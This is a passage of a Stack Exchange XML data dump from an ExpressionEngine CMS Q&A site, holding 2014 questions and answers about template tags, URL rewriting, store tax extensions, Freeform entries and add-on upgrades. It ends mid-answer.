  <row Id="26651" PostTypeId="1" AcceptedAnswerId="26686" CreationDate="2014-11-09T13:29:03.140" Score="1" ViewCount="114" Body="&lt;p&gt;Cant find how to do url for all news like this&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;http://example.com/news/&quot; rel=&quot;nofollow&quot;&gt;http://example.com/news/&lt;/a&gt;&lt;strong&gt;year/month/day&lt;/strong&gt;/title_for _news&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Now my current news have url&#xA;&lt;a href=&quot;http://example.com/news/title_for&quot; rel=&quot;nofollow&quot;&gt;http://example.com/news/title_for&lt;/a&gt; _news/&lt;/p&gt;&#xA;" OwnerUserId="3683" LastEditorUserId="3683" LastEditDate="2014-11-09T13:50:03.627" LastActivityDate="2014-11-11T22:41:52.230" Title="EE url for news (like /news/2014/11/title for news)" Tags="|ee2|" AnswerCount="2" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26653" PostTypeId="1" AcceptedAnswerId="26658" CreationDate="2014-11-10T04:09:00.513" Score="1" ViewCount="107" Body="&lt;p&gt;I have this code in a template:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;select id=&quot;field_id_43&quot; name=&quot;field_id_43&quot;&amp;gt;&#xA;    &amp;lt;option value=&quot;&quot; &amp;gt;No related Listing&amp;lt;/option&amp;gt;&#xA;    {exp:weblog:entries weblog=&quot;listings&quot; dynamic=&quot;no&quot; status=&quot;not closed&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;} &#xA;        &amp;lt;option value=&quot;{entry_id}&quot; &amp;gt;{title}&amp;lt;/option&amp;gt;&#xA;    {/exp:weblog:entries}&#xA;&amp;lt;/select&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The number of items returned in the dropdown seems to be limited in some way in that the dropdown is only poputlated with listings from the letter &quot;A&quot; up to the letter &quot;H&quot;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How do I make sure that the dropdown returns ALL listings and not just a certain number of them. Where is this limit set?&lt;/p&gt;&#xA;" OwnerUserId="649" LastEditorUserId="343" LastEditDate="2014-11-15T12:31:36.093" LastActivityDate="2014-11-15T12:31:36.093" Title="How can I get weblog:entries to return all values" Tags="|ee1|entries|status|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26654" PostTypeId="1" AcceptedAnswerId="26746" CreationDate="2014-11-10T07:39:36.700" Score="1" ViewCount="162" Body="&lt;p&gt;I'm developing an extension for Expresso Store that updates the tax calculation for items to exclude any amounts in the modifiers as for this application they are tax free. For example, if the price is say $10 for a physical credit card and then through a modifier they add $20 of credit to the card. I need to total to still be $30, however the tax to be calculated just on the base $10. e.g. tax @10% would result in $31 including tax.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So far in the extension I am using the Store hooks &quot;store_order_recalculate_end&quot; &amp;amp; &quot;store_order_item_add_end&quot; and I can loop through removing the modifier prices to get the base price of the item, however I am unsure how to then :&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;calculate the tax with the new item &lt;/li&gt;&#xA;&lt;li&gt;update the item price in the db&lt;/li&gt;&#xA;&lt;li&gt;recalculate the totals for the order&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;My current method is below. &lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function modify_gst($order){&#xA;    foreach ($order-&amp;gt;items as $item) {&#xA;        $pricefortax = $item-&amp;gt; item_subtotal;&#xA;        //Modifier amounts are not subject to tax&#xA;        foreach ($item-&amp;gt;modifiers as $modifier) {&#xA;            $pricefortax = $item-&amp;gt;item_subtotal - $modifier[&quot;price_mod&quot;];&#xA;        }&#xA;       // $pricefortax is now the amount excluding any modifiers&#xA;       // NEED TO: calculate item_tax based of $pricefortax&#xA;       // NEED TO: Update item_tax and item_total for the item &#xA;    }&#xA;&#xA;    //NEED TO: calculate order_tax and order_total&#xA;    //NEED TO: update order_tax and order_total&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Any help would be greatly appreciated, I can't see in the Store docs how to achieve this, It's basically my first time working with an extension in EE or dealing int the internals of Store.&lt;/p&gt;&#xA;" OwnerUserId="1380" LastEditorUserId="1380" LastEditDate="2014-11-12T18:59:00.060" LastActivityDate="2014-11-15T15:05:50.043" Title="Expresso Store: Extension to exclude modifier amounts when calculating tax" Tags="|expresso-store|extension|expresso|tax|" AnswerCount="1" CommentCount="4" ContentLicense="CC BY-SA 3.0" />
  <row Id="26655" PostTypeId="2" ParentId="25604" CreationDate="2014-11-10T08:11:16.850" Score="2" Body="&lt;p&gt;I'm using SuperSearch and getting the same issue, it appears that 'entry_id' is no longer being set in the settings array.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I've fixed/patched for now by simply replacing line 2214 in the &lt;code&gt;third_party_search_index()&lt;/code&gt; function which was&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$entry_id = $this-&amp;gt;settings['entry_id'];&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;To become:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$entry_id = ee()-&amp;gt;api_channel_entries-&amp;gt;entry_id;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="549" LastActivityDate="2014-11-10T08:11:16.850" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26656" PostTypeId="1" CreationDate="2014-11-10T08:45:25.323" Score="1" ViewCount="164" Body="&lt;p&gt;I noticed that EE rewrites a URL like&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://www.example.com/parent/child&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;(no trailing slash) to&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;http://www.example.com/parent/child/?/parent/child&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I append a trailing slash there is no rewriting.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Initially I assumed it was because for one parent there was a folder of the same name. Then I noticed EE does this for all children (segment_2) if the trailing slash is missing.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;How can I prevent this?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I am using EE 2.6.1 with index.php suppressed using the include method, and static Stash cache (&lt;a href=&quot;https://github.com/croxton/Stash/wiki/Static-cache-setup&quot; rel=&quot;nofollow&quot;&gt;https://github.com/croxton/Stash/wiki/Static-cache-setup&lt;/a&gt;)&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit 1: @Robson: Good thought. I totally emptied the template used for www.example.com/parent, and it still happens. The same effect: If I have a trailing slash after &quot;parent&quot; all is ok, if I omit it I get a redirection to www.example.com/parent/?/parent.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Edit 2: After some more investigation I found that the issue is related to my host. It forces query strings, hence I have a &quot;?&quot; after &quot;index.php&quot; in my htaccess file. When I remove the question mark the issue goes away, but now all pages just display &quot;No input file specified&quot;. Hmmm...&lt;/p&gt;&#xA;" OwnerUserId="3772" LastEditorUserId="3772" LastEditDate="2014-11-14T09:45:03.357" LastActivityDate="2014-11-14T09:45:03.357" Title="EE automatically rewrites URL when trailing slash is missing" Tags="|url|rewrite|" AnswerCount="0" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26658" PostTypeId="2" ParentId="26653" CreationDate="2014-11-10T11:33:26.220" Score="2" Body="&lt;p&gt;The default number of entries returned by exp:weblog:entries is limited to 100. You can set a limit parameter to whatever you like and over-ride this limit.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:weblog:entries weblog=&quot;listings&quot; dynamic=&quot;no&quot; status=&quot;not closed&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; limit=&quot;400&quot;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Be aware that there is a also chance you may run into memory and performance problems since EE will pull ALL the field data for each entry even though you are only displaying a single field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You may be better off using a custom query, however, since you're using EE1 I'm not sure how you would do this.&lt;/p&gt;&#xA;" OwnerUserId="159" LastActivityDate="2014-11-10T11:33:26.220" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26659" PostTypeId="2" ParentId="26602" CreationDate="2014-11-10T12:38:00.337" Score="2" Body="&lt;p&gt;This has been mentioned a number of times by a number of developers, but it's worth mentioning here again, as it's important:&lt;/p&gt;&#xA;&#xA;&lt;blockquote&gt;&#xA;  &lt;p&gt;★ &#xA;  When upgrading from EE1 to EE2, &lt;strong&gt;always upgrade add-ons first, as far as possible, while still on EE1&lt;/strong&gt;, &lt;em&gt;then&lt;/em&gt; upgrade to EE2. &#xA;  ★&lt;/p&gt;&#xA;  &#xA;  &lt;p&gt;(&lt;em&gt;Then, if some add-ons have further EE2 versions, continue and complete updating the add-ons once on EE2.&lt;/em&gt;)&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;Freeform 2.x (which is more than 5 years old as of this writing) is an EE1-only add-on, with a database schema that Freeform 4.x, which is EE2-only, cannot read. The best method is to upgrade Freeform 2.x to 3.1.5 (the last version for EE1) while still on EE1, then upgrade EE2. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Then, complete the update Freeform to version 4.x.&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;The other option is to start fresh with Freeform 4.x on your now EE2 setup.&lt;/p&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-11-10T12:38:00.337" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26660" PostTypeId="2" ParentId="26594" CreationDate="2014-11-10T13:09:07.467" Score="0" Body="&lt;ol&gt;&#xA;&lt;li&gt;&lt;p&gt;Unfortunately that isn't possible unless you use the &lt;code&gt;search_in=&quot;&quot;&lt;/code&gt; parameter (&lt;a href=&quot;http://www.solspace.com/docs/super_search/results/#search_in&quot; rel=&quot;nofollow&quot;&gt;http://www.solspace.com/docs/super_search/results/#search_in&lt;/a&gt;), but &lt;code&gt;search_word_within_words&lt;/code&gt; would still apply to all fields mentioned in &lt;code&gt;search_in&lt;/code&gt;.&lt;/p&gt;&lt;/li&gt;&#xA;&lt;li&gt;&lt;p&gt;To avoid displaying &quot;&lt;em&gt;No results matched your query.&lt;/em&gt;&quot; 4 times, try putting the &lt;code&gt;{if super_search_keywords==&quot;&quot;}...{/if}&lt;/code&gt; conditional &lt;strong&gt;outside&lt;/strong&gt; of &lt;code&gt;{exp:super_search:results}&lt;/code&gt;.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also, try wrapping the code inside &lt;code&gt;{exp:super_search:results}&lt;/code&gt; with &lt;code&gt;{if super_search_keywords != &quot;&quot;}...{/if}&lt;/code&gt; so that &lt;strong&gt;1.&lt;/strong&gt; results display only if &lt;code&gt;keywords&lt;/code&gt; is filled out and &lt;strong&gt;2.&lt;/strong&gt; nothing displays when &lt;code&gt;keywords&lt;/code&gt; is empty (by default Super Search would return entries otherwise)&lt;/p&gt;&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="884" LastActivityDate="2014-11-10T13:09:07.467" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26661" PostTypeId="1" AcceptedAnswerId="26679" CreationDate="2014-11-10T15:19:52.783" Score="1" ViewCount="32" Body="&lt;p&gt;I want to display some of my items with an non integer price value in Expresso Store. For instance, display some of the items with the price value of 'Request price'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Is this possible in Expresso Store, and if so, how?&lt;/p&gt;&#xA;" OwnerUserId="3468" LastActivityDate="2014-11-11T14:59:37.363" Title="Expresso-store: Non integer price value" Tags="|expresso-store|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26662" PostTypeId="2" ParentId="26530" CreationDate="2014-11-10T15:46:53.643" Score="0" Body="&lt;p&gt;FieldFrame doesn't exist anymore. It was replaced by &lt;a href=&quot;http://devot-ee.com/add-ons/matrix&quot; rel=&quot;nofollow&quot;&gt;Pixel &amp;amp; Tonic Matrix&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;There's some &lt;a href=&quot;https://docs.pixelandtonic.com/matrix/installation.html#upgrading-from-ee1&quot; rel=&quot;nofollow&quot;&gt;update instructions&lt;/a&gt; on their website.&lt;/p&gt;&#xA;" OwnerUserId="343" LastActivityDate="2014-11-10T15:46:53.643" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26663" PostTypeId="1" CreationDate="2014-11-10T16:20:16.100" Score="1" ViewCount="102" Body="&lt;p&gt;I don't want the default p-tags added to my images when adding them in Editor.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The HTML should look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;p&amp;gt;&#xA;    text&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;img src=&quot;#&quot; /&amp;gt;&#xA;&amp;lt;img scr=&quot;#&quot; /&amp;gt;&#xA;&amp;lt;p&amp;gt;&#xA;    text&#xA;&amp;lt;/p&amp;gt;&#xA;&amp;lt;img src=&quot;#&quot; /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;etc.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If I add pictures now it adds paragraph-tags around the images automatically.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;PS. I can save it the right way one time (in code-mode), but it changes back when I edit the post (even if I don't change anything).&lt;/p&gt;&#xA;" OwnerUserId="2136" LastActivityDate="2016-05-26T00:16:27.053" Title="Possible in Editor (DevDemon) to place image without p-tags around it?" Tags="|devdemon|editor|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26664" PostTypeId="2" ParentId="26651" CreationDate="2014-11-10T17:33:11.890" Score="0" Body="&lt;p&gt;A few questions regarding your URL design:&lt;/p&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;What happens when &lt;code&gt;title_for_news&lt;/code&gt; is a valid url_title, but it was published on a different year/month/day? 404?&lt;/li&gt;&#xA;&lt;li&gt;Do you return something reasonable for &lt;code&gt;/news/year/month/day&lt;/code&gt;? &lt;code&gt;/news/year/month&lt;/code&gt;? &lt;code&gt;/news/year&lt;/code&gt;? In good URL design, removing segments from a valid URL gives you another valid URL.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;If you have a good plan in place for those situations, your best bet is probably &lt;a href=&quot;http://devot-ee.com/add-ons/resource-router&quot; rel=&quot;nofollow&quot;&gt;Resource Router&lt;/a&gt;.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$config['resource_router'] = array(&#xA;    'news/:year' =&amp;gt; 'news/filtered-by-year',&#xA;    'news/:year/:month' =&amp;gt; 'news/filtered-by-month',&#xA;    'news/:year/:month/:day' =&amp;gt; 'news/filtered-by-day',&#xA;    'news/:year/:month/:day/:url_title' =&amp;gt; 'news/item'&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;You may also want to take pagination into account with the &lt;code&gt;:pagination&lt;/code&gt; URL parameter.&lt;/p&gt;&#xA;" OwnerUserId="26" LastActivityDate="2014-11-10T17:33:11.890" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26665" PostTypeId="1" CreationDate="2014-11-10T18:12:50.970" Score="1" ViewCount="100" Body="&lt;p&gt;I'm in the unfortunate position of needing to fix a third-party plugin that was created under contract; the original developers are not available to fix it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From within the plugin, I'll need to look up field data from a relationships field. e.g.: &quot;shirts&quot; has a relationship field that points to the &quot;vendors&quot; channel, which contains a field &quot;email&quot;, so in php using the EE classes or raw SQL, I'd need to look up:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;shirts-&gt;vendors-&gt;email&lt;/p&gt;&#xA;&#xA;&lt;p&gt;After a bit of Google'ing, I didn't find anything documenting the internal structure of relationship fields, or how this might be accomplished.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any help would be appreciated! &lt;/p&gt;&#xA;" OwnerUserId="2860" LastActivityDate="2016-01-08T12:18:55.660" Title="Relationship field lookup in an EE plugin?" Tags="|relationships|database|plugin|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26666" PostTypeId="1" AcceptedAnswerId="26668" CreationDate="2014-11-10T19:40:10.130" Score="2" ViewCount="122" Body="&lt;p&gt;Using MX Cloner (v 1.2.4) with EE 2.9.2 I get this error when saving a &quot;cloned&quot; entry:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&quot;You are not authorized to perform this action&quot;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;From what I can tell, this only happens when the entry has a &quot;Grid&quot; element in it.  The entry looks good, but just won't save.  I'm logged in as the admin user.  &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Any ideas?&lt;/p&gt;&#xA;" OwnerUserId="3703" LastEditorUserId="932" LastEditDate="2014-11-19T08:41:41.890" LastActivityDate="2015-01-20T08:59:02.850" Title="MX Cloner &quot;not authorized&quot; error" Tags="|mx-cloner|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26667" PostTypeId="1" CreationDate="2014-11-10T20:38:13.040" Score="0" ViewCount="151" Body="&lt;p&gt;I have a template which displays all products (entries) for a particular channel:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;Viewing all entries tagged with:&amp;lt;br&amp;gt;&#xA;{exp:channel:entries channel=&quot;products&quot; category_group=&quot;1&quot; category=&quot;not 7|8|9&quot; status=&quot;retail|showroom|open&quot; dynamic=&quot;no&quot; orderby=&quot;title&quot; sort=&quot;asc&quot;}&#xA;        {exp:tag:tags entry_id=&quot;{entry_id}&quot; backspace=&quot;2&quot; tag_group_name=&quot;Attributes&quot; orderby=&quot;tag_name&quot; sort=&quot;desc&quot;} {tag} |{/exp:tag:tags}&#xA;{/exp:channel:entries}    &#xA;&#xA;{exp:channel:entries channel=&quot;products&quot; category_group=&quot;1&quot; category=&quot;not 7|8|9&quot; status=&quot;retail|showroom|open&quot; dynamic=&quot;no&quot; orderby=&quot;title&quot; sort=&quot;asc&quot; limit=&quot;8&quot; paginate=&quot;bottom&quot;}&#xA;&#xA;&amp;lt;!-- all the sauce to display product entry --&amp;gt;&#xA;&#xA;{switch='|||&amp;lt;/div&amp;gt;&amp;lt;div class=&quot;row row-category&quot;&amp;gt;'}{snp_paginate} {/exp:channel:entries}&#xA;&#xA;&amp;lt;div class=&quot;row&quot; style=&quot;text-align: center; margin-bottom: 10px;&quot;&amp;gt; {exp:stash:get name='pagination_links' random limit=&quot;1&quot; process=&quot;end&quot;} &amp;lt;/div&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;but that is not working in a way I expect (some tags are displayed multiple times).&lt;/p&gt;&#xA;&#xA;&lt;p&gt;At that point my question is how can I get to display all tags (but not doubles) assigned to products (displayed using template above) from particular tag group?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Also is there any way to create something similar what NewEgg has on a left side bar, where customer can select &quot;tags&quot; and display only products which has those tags assigned?&lt;/p&gt;&#xA;" OwnerUserId="1577" LastEditorUserId="1577" LastEditDate="2014-11-10T21:02:10.957" LastActivityDate="2016-05-22T17:32:43.333" Title="Solspace tag display all available tags from a channel and related tag group" Tags="|channel-entries|channel|tags|solspace-tag|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26668" PostTypeId="2" ParentId="26666" CreationDate="2014-11-10T21:49:19.013" Score="3" Body="&lt;p&gt;Version 1.2.5 is available for &lt;a href=&quot;https://github.com/MaxLazar/mx_cloner&quot; rel=&quot;nofollow&quot;&gt;download&lt;/a&gt;. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;Grid field has new methods for fields validation which asked for new way to do entry clone. I hope that new update helps you.&lt;/p&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-11-10T21:49:19.013" CommentCount="3" ContentLicense="CC BY-SA 3.0" />
  <row Id="26669" PostTypeId="2" ParentId="26665" CreationDate="2014-11-10T22:04:28.370" Score="1" Body="&lt;p&gt;You may need to query the &lt;code&gt;exp_relationships&lt;/code&gt; table directly. It uses a lot of ids, so you'll have to know them in advance, but from your requirements, it sounds like that shouldn't be a big deal.&lt;/p&gt;&#xA;" OwnerUserId="26" LastActivityDate="2014-11-10T22:04:28.370" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26670" PostTypeId="2" ParentId="26642" CreationDate="2014-11-11T03:28:43.813" Score="2" Body="&lt;p&gt;This is because the you have &quot;Restrict allowed HTML&quot; set to YES for your field's WYGWAM configuration. Change &lt;strong&gt;Restrict allowed HTML&lt;/strong&gt; to &quot;&lt;strong&gt;NO&lt;/strong&gt;&quot; and it should work how you want.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;img src=&quot;https://i.stack.imgur.com/exD2d.png&quot; alt=&quot;enter image description here&quot;&gt;&lt;/p&gt;&#xA;" OwnerUserId="165" LastActivityDate="2014-11-11T03:28:43.813" CommentCount="1" ContentLicense="CC BY-SA 3.0" />
  <row Id="26671" PostTypeId="1" CreationDate="2014-11-11T09:33:32.930" Score="0" ViewCount="111" Body="&lt;p&gt;I want to create a page where a user can view and edit his own submitted freeform entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The user has to log in before submitting the form.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I have tried this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries&#xA;orderby=&quot;entry_date&quot; &#xA;sort=&quot;desc&quot;&#xA;limit=&quot;2&quot;&#xA;form_id=&quot;21&quot;&#xA;author_id=&quot;{member_id}&quot; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;And it does not display any entries.&#xA;But when I hard code the author_id author_id=&quot;1&quot; it works.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So, how do I display form entries submitted by the logged in user only?&lt;/p&gt;&#xA;" OwnerUserId="3775" LastEditorUserId="932" LastEditDate="2014-11-11T12:55:40.727" LastActivityDate="2015-05-11T02:59:40.133" Title="Freeform: Display freeform entries from logged in user" Tags="|solspace-freeform|" AnswerCount="2" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26672" PostTypeId="1" CreationDate="2014-11-11T09:49:12.153" Score="0" ViewCount="95" Body="&lt;p&gt;I have been trying to remove the index.php from my website. I have tried everything mentioned on the ee documentation but nothing seemed to work. I also tried to enable force force query string, it didn't work either. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm running the website on bluehost and I think maybe the problem is associated with the server? I contacted them and they mentioned that the mod_rewrite apache is running on all their websites just fine. Not sure what the solution to this problem.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;this is the same code that I used in my .htaccess file&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;    &amp;lt;IfModule mod_rewrite.c&amp;gt;&#xA;    RewriteEngine On&#xA;    RewriteBase /my_site_url.net/&#xA;&#xA;    # Removes index.php from ExpressionEngine URLs&#xA;    RewriteCond %{THE_REQUEST} ^GET.*index\.php [NC]&#xA;    RewriteCond %{REQUEST_URI} !/system/.* [NC]&#xA;    RewriteRule (.*?)index\.php/*(.*) /$1$2 [R=301,NE,L]&#xA;&#xA;    # Directs all EE web requests through the site index file&#xA;    RewriteCond %{REQUEST_FILENAME} !-f&#xA;    RewriteCond %{REQUEST_FILENAME} !-d&#xA;    RewriteRule ^(.*)$ /index.php/$1 [L]&#xA;    &amp;lt;/IfModule&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="3282" LastEditorUserId="3282" LastEditDate="2014-11-11T10:18:30.833" LastActivityDate="2014-11-11T10:18:30.833" Title="Unable to remove index.php" Tags="|ee|index|index.php|bluehost|" AnswerCount="0" CommentCount="6" ContentLicense="CC BY-SA 3.0" />
  <row Id="26673" PostTypeId="1" CreationDate="2014-11-11T09:51:26.550" Score="0" ViewCount="97" Body="&lt;p&gt;What is the best way to &quot;send&quot; a PHP variable between templates? I have an array &lt;code&gt;$myArray&lt;/code&gt; that I create in my &lt;code&gt;index.html&lt;/code&gt; template. Then I have a template which goes to fetch data from an external API, and store the items in &lt;code&gt;$myArray&lt;/code&gt;. And then I've turned on caching for this template, so I won't have to churn through the API request on every load. Then back at the &lt;code&gt;index.html&lt;/code&gt; I want to output stuff from &lt;code&gt;$myArray&lt;/code&gt;.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Basically it would look something like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;//index.html:&#xA;&amp;lt;?php global $myArray; ?&amp;gt;&#xA;{embed=&quot;include/api&quot;}&#xA;&amp;lt;?php&#xA;foreach ($myArray as $m) {&#xA;    //output&#xA;} ?&amp;gt;&#xA;&#xA;//api.html:&#xA;global $myArray;&#xA;$myArray = getAPIdata(); //getAPIdata just fetches stuff and returns the array&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now, this doesn't work of course. But I don't know why. And I don't have any other ideas on how to accomplish this. Especially since I want caching on my &lt;code&gt;api.html&lt;/code&gt; template.&lt;/p&gt;&#xA;" OwnerUserId="1990" LastActivityDate="2014-11-12T11:19:22.607" Title="Working with PHP variables between templates" Tags="|php|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26674" PostTypeId="1" AcceptedAnswerId="26687" CreationDate="2014-11-11T12:33:02.513" Score="0" ViewCount="61" Body="&lt;p&gt;Is there any way to use a SAEF / Channel Form to upload an image (with title, category etc.)?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Will it require a custom plugin or is this something that can be achieved already?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thank you.&lt;/p&gt;&#xA;" OwnerUserId="2420" LastActivityDate="2014-11-11T22:43:53.250" Title="How do I use a SAEF / Channel Form to upload a file not related to entry?" Tags="|safecracker|file-uploads|files|safecracker-file|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26675" PostTypeId="2" ParentId="26671" CreationDate="2014-11-11T13:46:20.923" Score="1" Body="&lt;p&gt;Why do use {member_id}? From where this coming from?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Try to use CURRENT_USER if u want show list of entries for current user&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{exp:freeform:entries&#xA;orderby=&quot;entry_date&quot; &#xA;sort=&quot;desc&quot;&#xA;limit=&quot;2&quot;&#xA;form_id=&quot;21&quot;&#xA;author_id=&quot;CURRENT_USER&quot; &#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="932" LastActivityDate="2014-11-11T13:46:20.923" CommentCount="2" ContentLicense="CC BY-SA 3.0" />
  <row Id="26676" PostTypeId="1" AcceptedAnswerId="26680" CreationDate="2014-11-05T10:09:04.353" Score="1" ViewCount="338" Body="&lt;p&gt;How can we add custom column in control panel (EE verstion 2.9.2) content &gt;&gt; Edit for any channel entry?&lt;/p&gt;&#xA;" OwnerUserId="2673" OwnerDisplayName="Satyam Saxena" LastEditorUserId="1326" LastEditDate="2014-11-11T17:05:01.180" LastActivityDate="2014-11-11T17:05:01.180" Title="How can we add custom column in control panel for any channel entry" Tags="|channel-entries|control-panel|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 3.0" />
  <row Id="26678" PostTypeId="2" ParentId="26667" CreationDate="2014-11-11T14:41:57.780" Score="0" Body="&lt;p&gt;To get tags for specific entries in one list, and without tags being repeated, &lt;code&gt;{exp:tag:cloud}&lt;/code&gt; can't be used because there is no &lt;code&gt;entry_id=&quot;&quot;&lt;/code&gt; parameter. Further, the &lt;code&gt;tag_group_id=&quot;&quot;&lt;/code&gt; would list all tags in a tag group, not further filtered by specific entries.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because &lt;code&gt;{exp:tag:tags}&lt;/code&gt; is repeated at each &lt;code&gt;{exp:channel:entries}&lt;/code&gt; loop, chances are you get duplicates of some tags. You'll need to create an array of unique tags to filter out duplicates. One way to do this is with PHP.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Enable PHP in your Templates and set it to &lt;em&gt;Output&lt;/em&gt;. Then create your array:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;{!-- Start with an empty array --}&#xA;&amp;lt;?php $tags = array(); ?&amp;gt;&#xA;&#xA;{exp:channel:entries /* your parameters */}&#xA;   {exp:tag:tags entry_id=&quot;{entry_id}&quot;}&#xA;      {!-- add the tag to the array. Duplicate tag_ids will be filtered this way --}&#xA;      &amp;lt;?php tags['{tag_id}'] = '{tag_name}'; ?&amp;gt;&#xA;   {exp:tag:tags}&#xA;{exp:channel:entries}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Now you &lt;code&gt;$tags&lt;/code&gt; array should have unique keys (the tag_id), and therefore tag_names should be unique as well. Finally, simply loop through the unique list of tags outside of and after {exp:channel:entries}. Below we're building a 